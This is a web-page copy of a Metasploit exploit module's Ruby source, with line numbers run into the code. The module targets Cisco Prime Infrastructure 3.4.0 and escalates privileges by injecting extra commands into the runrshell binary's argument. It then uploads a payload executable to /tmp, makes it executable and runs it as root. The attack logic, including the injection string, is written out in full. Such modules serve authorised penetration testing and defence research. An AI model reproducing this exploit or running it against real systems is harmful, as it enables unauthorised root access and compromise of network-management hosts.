Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/cpi_runrshell_priv_esc.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super( update_info( info,14'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',15'Description' => %q{16This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The17runrshell binary is meant to execute a shell script as root, but can be abused to inject18extra commands in the argument, allowing you to execute anything as root.19},20'License' => MSF_LICENSE,21'Author' =>22[23'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery24'sinn3r' # Metasploit module25],26'Platform' => ['linux'],27'Arch' => [ARCH_X86, ARCH_X64],28'SessionTypes' => ['shell', 'meterpreter'],29'DisclosureDate' => '2018-12-08',30'Privileged' => true,31'References' =>32[33['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],34],35'Targets' =>36[37[ 'Cisco Prime Infrastructure 3.4.0', {} ]38],39'DefaultTarget' => 040))4142register_advanced_options [43OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])44]45end4647def exec_as_root(cmd)48command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"49vprint_status(cmd_exec(command_string))50end5152def exploit53payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"54exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)55print_status("Uploading #{exe_path}")56write_file(exe_path, generate_payload_exe)57unless file?(exe_path)58print_error("Failed to upload #{exe_path}")59return60end6162register_file_for_cleanup(exe_path)63print_status('chmod the file with +x')64exec_as_root("/bin/chmod +x #{exe_path}")65print_status("Executing #{exe_path}")66exec_as_root(exe_path)67end68end697071